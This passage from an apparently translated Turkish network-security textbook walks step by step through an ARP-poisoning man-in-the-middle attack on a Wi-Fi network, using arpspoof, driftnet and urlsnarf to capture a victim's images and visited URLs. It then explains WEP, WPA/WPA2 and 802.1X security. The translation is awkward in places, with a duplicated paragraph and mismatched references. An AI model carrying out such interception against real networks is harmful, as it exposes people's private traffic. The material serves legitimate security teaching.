kullanmaktır. Bu tür sorguların geliştiriciyi tüm SQL kodunu
tanımlayarak başlatmaya zorlayacağı ve daha sonra her
parametrede sorguya geçeceği doğru olsa da, veritabanının kod
ve verileri açıkça ayırt etmesini sağlar ve sonuç olarak kötü
niyetli kullanıcı girişini filtreleyebilir. Diğer önleyici yaklaşım
136
ise; saklı prosedürlerin kullanımında ve kullanıcı tarafından
sağlanan tüm girdilerin varsayılan olarak çıkarılmasından
oluşur.
Bu tekniklerden başka, beyaz liste giriş onaylaması ile birlikte
en az ayrıcalık ilkesi, bir web sunucusunu veya SQLi
saldırılarına karşı uygulamayı güvence altına almak için de
yararlı olabilir. Bu işlemin temel amacı, veritabanında
oluşturulan hesaplara atanan ayrıcalıkları en aza indirmektir,
böylece her bir hesap, yalnızca talepten sorumlu kullanıcının
erişim hakları için gerekli ayrıcalıklara sahip olmalıdır.
Örneğin, bir hesabın yalnızca bir tablonun belirli bölümlerine
erişmesi gerekiyorsa, yönetici yalnızca bu verilere erişimini
kısıtlayan bir görünüm oluşturabilir. Ağ ve sistem güvenliği ile
ilgili birçok açıdan doğru olduğu gibi, bu şekildeki saldırılara
karşı önlem almak için iyi programlama ve yapılandırma
uygulamaları önemlidir.
4.6 Man in The Middle (MITM) Atak Tekniği
Man in the Middle (veya MITM) saldırısı, atağı yapan kişinin,
birbirleriyle doğrudan iletişim kurduğuna inanan iki kişinin
arasına gizlice (dinleyicinin bilgisi olmadan) bir bağlantı
kurabilmesi sonucu oluşmaktadır. Bu süreçte, saldırgan iletişimi
istediği gibi değiştirmekte serbesttir. Bir MITM saldırısının
aslında birçok durumda uygulanacak basit bir süreç
olabileceğini unutmamak gerekir. Böyle bir durumun iyi bir
örneği, bir saldırganın bir Wi-Fi Erişim Noktası'nın alım aralığı
içinde olduğu ve bu bölümde daha sonra gözlemlediğimiz gibi
kendisini MITM olarak ekleyebildiği zamanlardır.
Şekil 4.10, bir saldırganın kendisini iki sistem (kurban ve hedef)
arasına sokabildiği bu tür saldırı konseptini göstermektedir. Bu
saldırı, daha sonra bölümde analiz ettiğimiz ARP zehirlenme
tekniğini kullanarak paylaşılan yerel iletişim ağlarında da
(örneğin bir Wi-Fi ağı) mümkündür.
137
Şekil 4-10 MITM saldırı senaryosu (ARP zehirlenmesi ile)
Karşılıklı kimlik doğrulama sürecini veya eksikliğini atlatmayı
amaçlayan bir saldırı olarak MITM, yalnızca saldırganın her uç
noktayı meşru uçlardan beklendiği gibi onları
şüphelendirmeden, taklit edebilmesi durumunda başarılı olur.
Ayrıca, şifreleme protokollerinin çoğunun, bu tür saldırıları
önlemek için özel olarak tasarlanmış bir uç nokta kimlik
doğrulaması biçimini de içerdiğine dikkat çekmekte fayda
bulunmaktadır. TLS (Transport Layer Security-Aktarım
Katmanı Güvenliği), dijital sertifikaları kullanarak iletişim
kuran tarafların kimliğini doğrulamak için tasarlanmıştır. Kali
Linux'ta ARP zehirlenmesinin bir Wi-Fi ağının kullanımını
düşündüğümüz bir senaryoda bir MITM saldırısı
gerçekleştirmek için kullanıldığını göstererek devam ediyoruz.
4.6.1 ARP zehirlenmesini kullanarak MITM saldırıları
Aşağıdaki örnekte, sistemimizle aynı Wi-Fi ağlarına bağlı bir
cihazla MITM saldırısı uyguluyoruz. İlk adım, Kali Linux test
sistemimizde düzgün çalışan bir Wi-Fi ağ arabirim kartımız
olduğunu doğrulamak olmalıdır. Bu, Şekil 4.11'de gösterildiği
gibi iwconfig aracı kullanılarak onaylanabilir.
Gözlemleyebildiğimiz üzere, kablosuz ağ arabirim kartımızın
mevcut olduğu ve zaten Wi-Fi ağımıza bağlanacak şekilde
yapılandırılmış olması gerekmektedir. Görüldüğü gibi kurbanın
138
da bulunduğu ağın aynısıdır. Böylece hedef sistemler bulunur
(Şekil 4.10'de gösterilen senaryoya tekrar başvurunuz).
Şekil 4-11 iwconfig kullanarak Wi-Fi yapılandırmasının doğrulanması
Sistemimizde kullanılan kablosuz ağ arabiriminin ve yerel Wi-
Fi ağındaki yönlendiricinin IP adresini almamız gerekiyor.
Yöneltici genellikle Erişim Noktası'nın kendisi olacaktır ve
aşağıdaki yapacaklarımızın amacı için Tablo 1'de belirtilen
değerleri dikkate almak gerekmektedir. Tablo 4-2 MITM saldırı örneği için yapılandırma bilgileri
Attacker required
information
Value
Network interface name wlan0
Router (AP) IP address 192.168.1.1
Victim’s IP address 192.168.1.105
Şekil 4.12'da gösterildiği gibi, Kali Linux'ta ağ arayüzü adı,
ifconfig veya ip addr gibi araçlar kullanılarak elde edilebilir.
Sonraki testlerimizde, sistemimizin 192.168.1.106 IP adresini
kullandığını, mağdurun IP adresini 192.168.1.105 olduğunu ve
son olarak Router’ın (yönlendiricinin) IP'sinin (bu erişim
noktasıdır) IP route show veya netstat-nr gibi Linux komutları
kullanılarak elde edilebileceğini düşünüyoruz.
139
Şekil 4-12 saldırgan (test) sistemi tarafından kullanılan IP adresi
Mağdurun IP adresi ile ilgili olarak, IP adresini belirlemek için
çeşitli stratejiler mümkündür. Birincisi, yerel ağda aktif olan
cihazların IP adreslerini aramak için nmap ağ tarayıcısını
kullanmaktır. Bu amaç için ve Kali'de de mevcut olan bir başka
yararlı araç ettercap’tir. Kısacası ve Tablo 1'de belirtilen
değerlere tekrar atıfta bulunarak, 192.168.1.1 adresli
yönlendiriciye (AP) bağlı 192.168.1.105 IP adresini kullanarak
bir sisteme MITM saldırısı gerçekleştireceğiz. Sistem (Şekil
4.12'de) görüldüğü gibi 192.168.1.106 adresini kullanır.
Şekil 4-13 Kali Linux'ta paket yönlendirmeyi etkinleştirme
MITM saldırımız için gerekli olan bir başlangıç adımı, Şekil
4.12'da gösterildiği gibi Linux sisteminde paket iletimini
sağlamaktır. Bu işlem, bu sistemin kurban cihazı ile Erişim
Noktası (yönlendirici) arasındaki mesajları iletebilmesi için
gereklidir. Sistemimiz saldırıyı gerçekleştirmeye hazır olduktan
sonra, yerel kablosuz ağ üzerinden ARP zehirlenmesi yapmak
için arppoof kullanmaya devam edeceğiz.
4.6.2 ARP zehirlenmesinin arp komutu ile kullanılması
Bir sonraki hedefimiz, ARPSPOOF saldırıları gerçekleştiren ve
switch kullanılan bir LAN üzerindeki paketlerin (kablosuz yerel
alan ağımızdaki gibi) yakalanmasını sağlayan bir komut satırı
yardımcı programı kullanarak paketleri kurbanın sisteminden
140
kesmektir. ARP zehirlenmesi tekniği, ARP paketlerini mağdura
ve yönlendirici sistemlerine göndermekten, ikisi arasında bizim
(saldırgan) sistemimiz aracılığıyla değiştirilen paketleri yeniden
yönlendirme hedefiyle oluşur. Şekil 4.14'te gösterildiği gibi,
kablosuz ağ ile iletişim kurduğumuz arayüzü ve aynı zamanda
kurbanın ve hedef sistemlerin IP adresini belirterek arpspoof
kullanıyoruz.
Şekil 4-14 Wi-Fi üzerinden bir MITM saldırısı gerçekleştirmek için arşivin
kullanılması
Önceki komutla, Kali Linux sistemimizle paket akışını kurban
sisteminden yönlendiriciye yönlendirebiliyoruz. Paketleri ters
yönde, dolayısıyla yönlendiriciden kurbana da müdahale
etmemiz gerekiyor ve bu amaçla, Şekil 4.15’te gösterildiği gibi
yeniden arpspoof ‘u çalışıyoruz.
Şekil 4-15 Wi-Fi üzerinden bir MITM saldırısı gerçekleştirmek için arpspoof
kullanılması (ters iletişim yönü)
Şekil 4.14 ve 4.15'te gösterildiği gibi çalışan arpspoof ile, iki
sistem arasındaki iletişim, bizim sistemimiz üzerinden
akmalıdır. Daha sonra bunun, kurban tarafından ziyaret edilen
URL'ler ve web sayfalarında görselleştirilen görüntüler gibi
bilgileri yakalamamıza nasıl izin verdiğini göstereceğiz. Yine,
kurban ve yönlendirici arasında akan tüm iletişimlerin Kali
Linux test sistemimiz üzerinden geçtiğini lütfen unutmayın, bu
nedenle bu tür iletişimler hedeflerimize göre analiz edilebilir ve
kaydedilebilir.
4.6.3 Görüntüleri kaydetme
Artık iki sistem arasındaki iletişimin sistemimiz üzerinden
geçtiğine göre, bu bağlamda iki çok kullanışlı aracı
keşfedebiliriz: driftnet ve urlsnarf. Birincisi, kurban tarafından
141
ziyaret edilen web sitelerinden görüntü kaydetmemize izin
verirken, uslsnarf ilgili web sayfalarının URL'lerini kaydeder.
Bu bölümde incelenen diğer araçlarda olduğu gibi, driftnet
bizim Kali Linux test sistemimizde hali hazırda mevcuttur.
Şekil 4.16'de gösterildiği gibi, wlan0 arabiriminde yakalanan ağ
trafiğini incelemek ve hattan geçerken gözlenen web
isteklerinden görüntüleri almak için driftnet kullanıyoruz.
Şekil 4-16 Kurbanın sistemi tarafından çekilen görüntüleri yakalamak için driftnet'i
kullanımı
Driftnet'i çalıştırırken, ekranın sol üst köşesinde, yakalanan
görüntülerin hat boyunca akarken sunulduğu küçük bir pencere
ekranı oluşturulur. Ayrıca, driftnet ile “-d” seçeneğini
kullanarak bu tür görüntüleri saklamak amacıyla bir dizin de
belirtebiliriz.
4.6.4 Ziyaret edilen web sayfalarının URL'lerini kaydetme
Mağdur tarafından ziyaret edilen URL'leri kaydetmek için,
urlsnarf'ı kullanabiliriz. Bu araç, kurbanın bilgisayarındaki
HTTP isteklerini yakalar ve çevrimdışı postalama için algıladığı
istekleri kaydeder (ör. bir web günlüğü analiz aracı kullanarak).
Şekil 4.17'te, saldırı senaryomuzda URL'leri yakalamak için
urlsnarf kullanımını göstermektedir.
Şekil 4-17 Mağdurdan gelen taleplerin URL'lerini yakalamak için urlsnarf kullanımı
Önceki komutla, bir mağdur bir web sitesini ziyaret ettiğinde,
onun eylemleri hakkında bilgi okuyabiliyoruz. Böylelikle, daha
önce incelenen drifnet aracında olduğu gibi, urlsnarf ile
paylaşılan bir kablosuz iletişim ortamı üzerinde bir MITM
saldırısının gerçekleştirilmesinde yararlıdır ve ayrıca bir MITM
142
saldırısının ne kadar kolay ve güçlü olabileceğini gösterme
amacına hizmet etmektedir.
143
5 Bölüm E
5.1 Kablosuz Ağ Güvenliği
Kablosuz ağlar, radyofrekans iletişim tekniğiyle çalışı. Bu
nedenle, çeşitli bilgisayar ve mobil aygıtlar tarafından
kullanılabilen ve paylaşılan iletişim ortamı sağlar. İletişim
ortamının paylaşılması, ağın güvenliği açısından risk teşkil
etmektedir, çünkü ağa entegre edilen bir cihaz, diğer cihazların
iletişimine nispeten basit bir şekilde kolaylıkla erişebilmektedir.
Bu bölümde inceleyeceğimiz gibi, özellikle IEEE 802.11
standardı kapsamında, kablosuz ağlar için güvenlik
mekanizmaları önerilmiş ve tasarlanmışlardır. Zaman içinde
birçok çözüm tasarlanmış olup, bunların çoğu tasarımındaki
hatalardan kaynaklanan sınırlamaları ve yaygın olarak
kullanılan bilgisayarların artan hesaplama kapasitelerini ortaya
çıkarmıştır. Aşağıda, IEEE 802.11 standardının çeşitli
versiyonları bağlamında geliştirilen güvenlik çözümlerine genel
bir bakış atarak başlıyoruz.
5.1.1 Temel kavramlar
Kablosuz ağlardaki güvenliğe yaklaşımımız, bu iletişim
ortamlarında güvenlik sorununu düzgün bir şekilde ele almak
için önemli olduğuna inandığımız operasyonla ilgili bazı temel
kavramlara odaklanarak başlamak gerekmektedir. Sistemlerin
kablosuz ağlar üzerinden nasıl iletişim kurduğunu belirleyen
protokoller veya standartlar, yıllar içerisinde Elektrik ve
Elektronik Mühendisleri Enstitüsü (IEEE) tarafından, özellikle
de IEEE'nin 802.11 grubu tarafından geliştirilmiştir. Tablo 2, bu
standartların ana özelliklerini özetlemektedir. Burada, 2,4 GHz
ve 5 GHz'lik ISM (Endüstriyel, Bilimsel ve Medikal) frekans
144
bantlarının kullanımının yanı sıra farklı hızlarda iletişimin
desteklendiğine dikkat çekilmektedir.
Standard Frequency range Communications speed
802.11a 5.725 to 5.875 GHz 54 Mbps
802.11b 2.4 to 2.5 GHz 11 Mbps
802.11g 2.4 to 2.5 GHz 54 Mbps
802.11n 2.4 to 2.5 GHz,
5.725 to 5.875 GHz
300 to 600 Mbps
Tablo5-1 kablosuz iletişim standartlarının özellikleri
Kablosuz ağlarda iletişim, Tablo 2'de tanımlanan frekans
aralıklarında, ilgili aralık içinde belirli bir kanal üzerinde
ortalanmaktadır. Her frekans aralığında bulunan kanallar ülkeye
göre değişir. Toplamda, 1'den 11'e kadar kanallar Amerika
Birleşik Devletleri'nde, 1 den 13’e kadar Avrupa'da ve 1'den
14'e kadar Japonya'da olmak üzere toplam 15 kanal mevcuttur.
Dikkate alınması gereken önemli bir husus, uygulamadaki
kanalların Şekil 5.1'de gösterildiği gibi üst üste binmesidir.
Böylece, parazitlenmeyi önlemek için, belirli bir fiziksel alanda,
kablosuz ağı oluşturmak için kullanılan farklı Ap'lerde,
birbirlerine müdahale etmeyen kanallarda dikkatli olmalısınız.
Bu nedenle, belirli bir yerel ağdaki kullanılabilir tüm kanalların
kabul edilebilir bir performans ile kullanılması mümkün
değildir. İletim ve alımların en az dört başka kanal tarafından
ayrılan kanallarda gerçekleştirilebileceği genel olarak kabul
edilir. Bu şekilde, Avrupa bölgesinde kullanım için mevcut 13
kanalı dikkate alırsak, normal olarak kanal 1, 6 ve 11 daha çok
kullanılır. Belirli bir fiziksel alanda ağa çoklu erişim noktaları ()
yüklemekten sorumlu bir yönetici, bu kısıtlamayı hesaba
katmalı ve aynı fiziksel alanda kullanılan çeşitli AP'lerde farklı
145
çakışma kanallarını kullanmalıdır. Kablosuz iletişimde (ki, eğer
gerçekleşirse, elbette performansı düşürecektir).
Belirli bir fiziksel alanda ağa birden fazla erişim noktası
(Access Point'ler-AP) kurmaktan sorumlu bir yönetici, kablosuz
iletişimdeki çakışmaları en aza indirgemek amacı ile (ki bu,
meydana gelirse, elbette performansı düşürecektir) bu
kısıtlamayı hesaba katmalı ve aynı fiziksel alanda kullanılan
çeşitli Ap'lerde farklı kanallar kullanmalıdır.
Kablosuz yerel alan ağları, aralarında Erişim Noktaları, farklı
konfigürasyonlara sahip antenler, kontrolörler, anahtarlar ve
yönlendiriciler gibi çeşitli cihazlar kullanırlar. Erişim Noktaları
(AP), mobil cihazları (ör. Kişisel bilgisayarlar ve akıllı
telefonlar) kablosuz ağa bağlar. AP'ler ile birlikte antenler,
farklı özelliklere sahip iletişim senaryolarında kullanılmaktadır.
Örneğin, Yagi antenleri noktadan noktaya haberleşmeyi
mümkün kılar ve uzak kablosuz iletişim ortamlarını birbirine
bağlamak için izin verirler. Kontrolörler, daha gelişmiş ağ
senaryolarında, radyo alanının dinamik konfigürasyonu ve
yasadışı AP'lerin saptanması gibi işlevler sağlamaktadırlar.
IEEE 802.11 ağlarındaki iletişimle ilgili bir diğer önemli
kavram, ağda kullanılan çerçevelerdir. Bir çerçeve uygulama
verilerini kapsarken, istemci ilişkilerini de ağa yönetir. 802.11
standardı, yönetim ve kontrol işlemlerinin yanı sıra veri iletimi
için çerçeve formatlarını tanımlar. Yönetim çerçeveleri, ağların
keşfini ve istemci cihazların ağa bağlanma ve kimlik
doğrulamasını destekler. Diğer yandan kontrol çerçeveleri,
22 MHz
12.412
22.417
32.422
42.427
52.432
62.437
72.442
82.447
92.452
102.457
112.462
122.467
132.472
142.454
Şekil 5-1 ISM (2.4 GHz) bandında mevcut kanallar
146
birkaç müşteri tarafından, paylaşılan kablosuz iletişim ortamına
erişimi kontrol etmeyi sağlar. Son olarak, veri çerçeveleri
kablosuz ağ üzerinden uygulama bilgisini taşır.
Dikkate alınması gereken bir diğer önemli husus, her bir
kablosuz ağ tarafından kullanılan topolojidir. Ad hoc, noktadan
noktaya veya altyapı modlarında kablosuz yerel ağlar
oluşturulabilir. Geçici ağlarda, sistemler birbirleriyle özgürce
iletişim kurabilir, böylece bir AP'ye veya iletişim altyapısına
ihtiyaç duymazlar. Noktadan noktaya ağlarda iletişim, iki yerel
ağdan bir radyo frekansı bağlantısı aracılığıyla ara bağlantıya
izin verir. Son olarak, altyapı modunda, kablosuz istemciler
mevcut AP'lerden biriyle ilişkilendirerek kablosuz ağa bağlanır.
Bu, tüm dünyadaki kablosuz ağları şu anda Şekil 5.2'de
gösterdiğimiz en önemli senaryodur. Bu şekilde, tartışmaya
devam ederken, altyapının bazı temel unsurlarının varlığını
görüyoruz.
Şekil 5-2 Altyapı modunda bir kablosuz ağın topolojisi
Şekil de gözlemleyebileceğimiz gibi IEEE 802.11, Temel Servis
Seti (BSS- Basic Service Set) ve Genişletilmiş Servis Seti
(ESS- Extended Service Set) kavramlarını tanıtmaktadır. Bir
BSS, belirli bir Erişim Noktası (AP) tarafından kapsanan,
müşterinin altyapı ile (Dağıtım Sistemi) ve bu altyapı üzerinden
147
İnternet'teki diğer sistemlerle iletişim kurabileceği ağın bir
bölgesidir. Birden fazla AP'nin kullanımı ve bu nedenle, aynı
SSID'yi (Servis Kümesi Tanımlayıcısı- Service Set Identifier)
destekleyen birden fazla BSS'nin kullanılması, bir istemcinin
ağın farklı fiziksel bölgeleri arasında dolaşımını sağlarken, aynı
ESS bağlamında kimlik doğrulamasını ve mevcut iletişim
oturumlarını korumasını sağlar.
Artık kablosuz yerel alan ağlarının işleyişi ile ilgili temel
kavramları inceledik, şu ana kadar 802.11 standardı bağlamında
güvenliğin nasıl uygulandığına dair analizler yaptık.
5.1.2 802.11'de güvenlik mekanizmaları
IEEE 802.11 standardı, kablosuz yerel alan ağları için iletişim
düzeneklerini, özellikle iletişim kümesinin fiziksel ve MAC
(Medya Erişim Kontrolü- Media Access Control) katmanlarına
odaklanarak tanımlar. Internet için tasarlanan çoğu güvenlik
çözümünde olduğu gibi, bu standart bağlamında tanımlanan
güvenlik çözümleri özellikle kırılganlıkların keşfinden dolayı
yıllar içinde gelişti. Bu bölümde, aşağıdaki amacımız, kablosuz
yerel alan ağları için IEEE tarafından tasarlanan çeşitli güvenlik
çözümlerinin özelliklerini ve güvenlik açıklarını analiz etmektir.
5.1.3 Kablolu Eşdeğer Gizlilik (WEP- Wired Equivalent
Privacy)
Kablolu Eşdeğer Gizlilik (WEP) standardı, 1997 yılında,
kablosuz yerel alan ağları için, kablolu ağlara eşdeğer bir
güvenlik seviyesine ulaşmanın hedefi olan bir amaç ile
oluşturulmuştur. Bu protokol 10 yıl sonra, ciddi güvenlik
açıkları ve WEP aleyhine yapılan saldırıların ardından
kaldırılmıştır. Bu algoritma, veri bütünlüğü ve kimlik
doğrulama yönetimi için iletişimi ve CRC-32'yi şifrelemek için
RC4'ü kullanır. İstemci (kullanıcı) kimlik doğrulaması ile ilgili
olarak, WEP bir sonraki, paylaşımlı anahtar modunu ve açık
sistem modunu tartışacağımız iki farklı strateji sunmaktadır.
Açık kimlik doğrulama modunda, gerçekte, ilişkilendirme
işlemi sırasında kullanıcının (veya istemcinin) AP'ye
148
doğrulaması yoktur. AP ile ilişkilendirme tamamlandıktan
sonra, WEP şifreleme anahtarı istemci tarafından kullanılır ve
AP müteakip iletişimi şifreler. Diğer ucunda, paylaşımlı anahtar
modunda, kimlik doğrulama işleminde anahtar kullanılır,
böylece istemcinin AP'ye doğrulanması sağlanır. Bu kimlik
doğrulama sürecinde, AP, istemci kimlik doğrulama isteğine bir
sorunla yanıt verir. İstemciye, meydan okuma ve WEP
anahtarını şifrelemek ve sonucu tekrar AP'ye göndermek
gerekir. Bu sürecin amacı, AP'nin kullanıcılara doğru WEP
anahtarına sahip olduğunu doğrulamasını ve böylece kimlik
kanıtı olarak hizmet etmesini sağlamaktır. İlk bakışta
görülebileceklerinin aksine, paylaşılan anahtar kimlik
doğrulaması aslında açık sistem kimlik doğrulamasından daha
fazla güvenlik sağlamaz. Bunun sebebi, yukarıda bahsedilen
iletişimdeki paketleri şifrelemek için kullanılan tuş akışının
zorluğu, taşıyan paketleri yakalayarak elde etmesinin mümkün
olmasıdır. Pratikte bu, açık modda bir WEP ağının kurulması ve
IPSec (IP Güvenlik) veya TLS (Transport-Layer Security) gibi
daha yüksek protokol seviyelerinde güvenlik mekanizmalarının
kullanılması tercih edilir.
Yukarıdakilere ek olarak, WEP güvenliği ile ilgili diğer
kısıtlamalar ve zayıf yönler sunmaktadır. Önemli bir özellik,
anahtarların WEP'de nasıl yönetildiği ve kullanıldığıdır.
Şifreleme anahtarı tüm istemciler tarafından paylaşıldığından,
birden fazla aygıt ve AP'leri olan bir ağdaki yönetimi, her bir
AP'yi ve her bir istemcinin anahtarın ne zaman değiştirilmesi
gerektiğinin yeniden programlanması gerektiğinden pratikten
başka bir şey değildir. Buna ek olarak, pratikte protokol
kapılarına “kapıyı açan” bir dizi zayıflık keşfedilmiştir. WEP'e
yapılan büyük saldırıların bazılarına örnek olarak, WEP
anahtarının bilinmeyen bir iletişim kuralı olduğunu varsayarak,
iletişimin ve analizlerin ele geçirilmesine dayanan FMS
(Fluhrer, Mantin ve Shamir) ve KoreK saldırılarını dikkate
alabiliriz. Zamanla değişmez (çoğu kurulumda genellikle
doğrudur). Bir başka önemli husus da, şifreleme protokolü ile
bilginin yeniden kullanılmasının, her mesajın şifrelenmeden
149
gönderilmesidir, bununla birlikte, şifreleme anahtarının
tekrarlanmasını ve bu sayede keşfini mümkün kılar.
WEP saldırı teknikleri şu anda Kali Linux'ta da bulduğumuz
aircrack-ng gibi denetim uygulamalarında iyi bir şekilde
belgelenmiş ve uygulanmıştır. Bazı saldırı teknikleri, anahtarın
belirlenmesinde kullanılan özel yanıt paketlerinin iletimini
uyarmak için ağdaki enjekte eden paketlerden oluşur. Yeniden
birleştirilme işlemi sırasında kullanılan iletişimin yakalanması
ve WEP anahtarının bu bilgilerden elde edilmesi amacıyla bir
kullanıcının AP ile ayrılmaya zorlanması da mümkündür. Bu
nedenle, WEP'in şu anda tamamen güvensiz bir protokol
olduğunu ve WEP tarafından sunulan güvenliğin
reddedilmesinin de PCI (Ödeme Kartı Endüstrisi) kuruluşunun
Veri Güvenliği Standardı (DSS- Data Security Standard)
standardında zorlandığını düşünebiliriz. DSS, hassas finansal
bilgileri (örneğin, kredi kartı numaraları) taşımak için kullanılan
ağlarda kabul edilebilir güvenlik düzeyini tanımlar ve WEP,
2008'den beri bu standartta açıkça dışlanmıştır.
5.1.4 Fiziksel adres filtreleme ve SSID gizleme
WEP'e ek olarak, IEEE 802.11'in orijinal versiyonu, diğer
fiziksel güvenlik mekanizmalarını (özellikle fiziksel adres
(MAC) filtreleme ve SSID gizleme) da tanımlamıştır. Birinci
mekanizma, AP'nin konfigürasyonu bağlamında, AP'nin
konfigürasyonunda MAC adresi tarafından tespit edilebilen
yetkilendirilmiş veya reddedilen istemcilerin bir listesini
tanımlamayı sağlar. Böylece, Erişim Noktası, adresi listenin bir
parçası olan ve reddedilen bir istemciyi algıladığında, ilk
ilişkilendirme veya kimlik doğrulama isteğinde kullanılan
paketleri atabilmektedir.
Gözlemlenmesi kolay olduğu gibi, gerçekte MAC adres
filtrelemesi Wi-Fi güvenliği sorununu çözmez. Ayrıca, birden
fazla AP'de bir MAC adres listesini yönetmek, zaman
kaybettirici ve hantal bir işlemdir ve kesinlikle başarısızlığa
meyilli bir süreçtir. Ayrıca, bir bilgisayarın ağ kartının MAC
adresini yetkili bir adrese değiştirmek nispeten kolaydır; bir
150
saldırgan, Wi-Fi ağındaki iletişimleri dinleyerek MAC
adresinizi kolayca edinebilir.
Kablosuz ağın kullandığı SSID'nin saklanmasına gelince,
uygulamada gerçek güvenliğe de yer vermeyebiliriz. Saldırgan,
iletişimi yakalayıp analiz ederek ve her zaman SSID'yi taşıyan
802.11 kimlik doğrulama paketlerini ayrıştırarak SSID'ye
kolayca erişebilir. Aksine, SSID'nin gizlenmesi, ağ
performansında olumsuz bir etkiye sahiptir, çünkü kullanıcıları
başka bir BSS'ye geçmek gerektiğinde yeni AP'leri aktif olarak
aramaya zorlar, bu nedenle ağdaki tıkanıklığın artmasına katkı
sağlamaktadır.
5.1.5 Wi-Fi Korumalı Erişim (WPA) ve WPA2
Daha önce de gözlemlediğimiz gibi, WEP'in güvenlik
(güvenlik) açısından sorunlu sınırlamaları, kısa bir süre sonra,
802.11i biçiminde 802.11 standardının daha yeni sürümlerini
içeren yeni güvenlik seviyesi çözümleri geliştirme gerekliliğini
ortaya çıkardı. WEP'in güvensizliği, Wi-Fi İttifakının
(https://www.wi-fi.org) 802.11i standardının son sürümünden
önce 2003'te Wi-Fi Korumalı Erişim (WPA) protokolünü
tanıttığı kadar ciddiydi. Bu ittifakın, WEP'in sınırlamalarını ele
almak için geliştirdiği çalışma, WPA sertifikasyonuna ve daha
sonra, 802.11i standardının bitmiş versiyonuna karşılık gelen
Wi-Fi Korumalı Erişim II'ye (WPA2) yol açmıştır.
WPA ile, standardın yeni sürümüne dahil edilen
mekanizmaların bir alt kümesi, üreticilerin ve yazılım
geliştiricilerin kullanımına sunulurken, mevcut donanımla
birlikte tam olarak uyumluluk sağlarken (WEP ile çalışacak
şekilde tasarlanmış ağ kartları) sadece yazılım seviyesinde
değişiklikler gerektirir. WPA, WEP'deki periyodik anahtar
tekrarı problemini çözmek için tasarlanmış ve iki çalışma
modunu, iş ve kişisel modları desteklemektedir. İş operasyonları
modunda, AP ve sunucu arasındaki iletişimi destekleyen
Uzaktan Kimlik Doğrulama Çevirmeli Kullanıcı Hizmeti
(RADIUS- Remote Authentication Dial-In User Service)
protokolü ile merkezi bir kimlik doğrulama sunucusu kullanılır.
151
Buna karşılık kişisel operasyon modu, WEP'in güvenlik
sorunları olmadan önceden tanımlanmış anahtarlarla ev ağı
ortamlarında kullanılmak üzere tasarlanmıştır. WPA, WEP
tarafından kullanılan 32 bit CRC 32 kodunun tersine, sıra dışı
paket tespiti ve tekrar oynatma saldırılarının yanı sıra 64 bitlik
Mesaj Bütünlüğü Kodu (MIC- Message Integrity Code) için sıra
numaraları sunar.
Daha önce belirtildiği gibi, WPA2 standardı 802.11i
standardının son versiyonunda tanımlanan mekanizmaları içerir.
Gizlilik ve kimlik doğrulama desteği ile ilgili olarak iki yeni
şifreleme algoritması, Geçici Anahtar Bütünlüğü Protokolü
(TKIP) ve Şifreli Blok Zincirleme Mesaj Kimlik Doğrulama
Kodu (CCMP- Cipher Block Chaining Message Authentication
Code) ile Sayaç Modu benimsenmiştir. TKIP, WMP'nin
desteklenmesi için gerekli hesaplama yetenekleri olmaksızın
WEP'in güvenlik sınırlamalarını ele almak ve böylece WPA'nın
bir parçası olmak için tanıtılmıştır. TKIP, yeniden paketleme ve
istatistik saldırılarına karşı güvenliği ve paket enjeksiyon veya
modifikasyon saldırılarını şebekeden koruyan bir bütünlük kodu
getirmektedir.
Tablo 3'te yerel kablosuz ağlar için tasarlanan güvenlik
standartlarının ana özelliklerini tespit ediyoruz. Bu tabloda
gösterildiği gibi, CCMP, RC4'e (WEP tarafından kullanılan)
alternatif olarak AES (Gelişmiş Şifreleme Standardı- Advanced
Encryption Standard) şifreleme algoritmasını benimser. AES
128-bit veri bloklarını işlemek için 128-bit anahtarlarla
şifrelenir. Bütünlük açısından, AES ayrıca paketin yükü (ve
ayrıca şifrelenmiş) ile birlikte gönderilen bir Mesaj Bütünlüğü
Kodu (MIC) üretmek için kullanılır. Özetle, CCMP ile WPA2
(böylece, 802.11i standardı bağlamında benimsenen
algoritmaları birleştirerek), bir kablosuz ağı korumanın en iyi
yoludur.
152
WEP WPA WPA2
Encryption
algorithm
RC4 RC4 AES
Supported key size 40 or 104 bits 128 bits (encryption) and
64 bits (authentication)
128 bits (encryption
and authentication)
Integrity code size 32 bits 64 bits 128 bits
Security against
repetition attacks
None Sequence numbers Sequence numbers
Key management None EAP methods EAP methods
Tablo5-2 Yerel kablosuz ağlar için güvenlik standartlarının özellikleri
WPA2 için dikkat edilmesi gereken önemli bir özellik
(802.11i'de tanımlandığı gibi), bir kullanıcıyı veya müşteriyi
AP'ye doğrulamak için birden fazla teknik destekleme
olasılığıdır. Bu tür çeşitli kimlik doğrulama stratejilerini
desteklemek için Genişletilebilir Kimlik Doğrulama Protokolü
(EAP-Extensible Authentication Protocol) kabul edilmiştir.
EAP, güvenlik yöneticisine, ağına ve güvenlik gereksinimlerine
en uygun kimlik doğrulama yöntemini uygulama seçimini
sağlar. EAP yöntemlerinin örnekleri arasında, kullanıcıların
kimliklerini doğrulamak için X.509 dijital sertifikaları kullanan
EAP-Aktarım Katmanı Güvenliği (EAP-TLS) ve istemci
arasında şifrelenmiş bir tünel oluşturulmasını sağlayan EAP
Tüneli Aktarım Katmanı Güvenliği (EAP-TTLS) bulunur.
Çeşitli kimlik doğrulama yöntemlerinin daha sonra istemcinin
doğrulanması için kullanılabildiği kimlik doğrulama sunucusu
olarak kullanılmaktadır.
5.1.6 802.1X
802.11 standardının orijinal versiyonunun bir ek sınırlaması,
geniş bir kullanıcı grubu için kimlik doğrulama yönetimini
desteklemenin eksikliğinde bulunmuştur. Bu sorun dikkate
153
alındığında, IEEE standardın 802.11i versiyonunda 802.11x
kimlik doğrulama ve anahtar yönetimini benimsenmiştir.
802.1x, bağlantı noktası tabanlı Ağ Erişim Denetimi (PNAC-
Port-Based Network Access Control) için bir standarttır ve bir
Yerel Ağa (LAN) veya Kablosuz Yerel Ağa (WLAN)
bağlanmaya yönelik aygıtlara bir kimlik doğrulama
mekanizması sağlar. Şekil 5.3'te 802.1x'in operasyon modelini
göstermektedir.
Bu şekilde görülebileceği gibi, 802.1x kimlik doğrulaması
sırasında Erişim Noktası, kimlik doğrulama işleminde bir aracı
görevi görür ve istemci (kimlik doğrulayıcı olarak 801.x olarak
da bilinir) arasında kimlik doğrulama için özel bir EAP
yöntemini ve kimlik doğrulama sunucusunu destekler. Yeni bir
kablosuz istemci veya düğüm (şekilde WN olarak tanımlanır)
ağa erişim istediğinde, erişim noktası (AP) bu düğümün
kimliğini ister. Bu aşamada, kullanıcının kimliği
doğrulanmadan önce EAP'tan başka bir trafiğe izin verilmez (bu
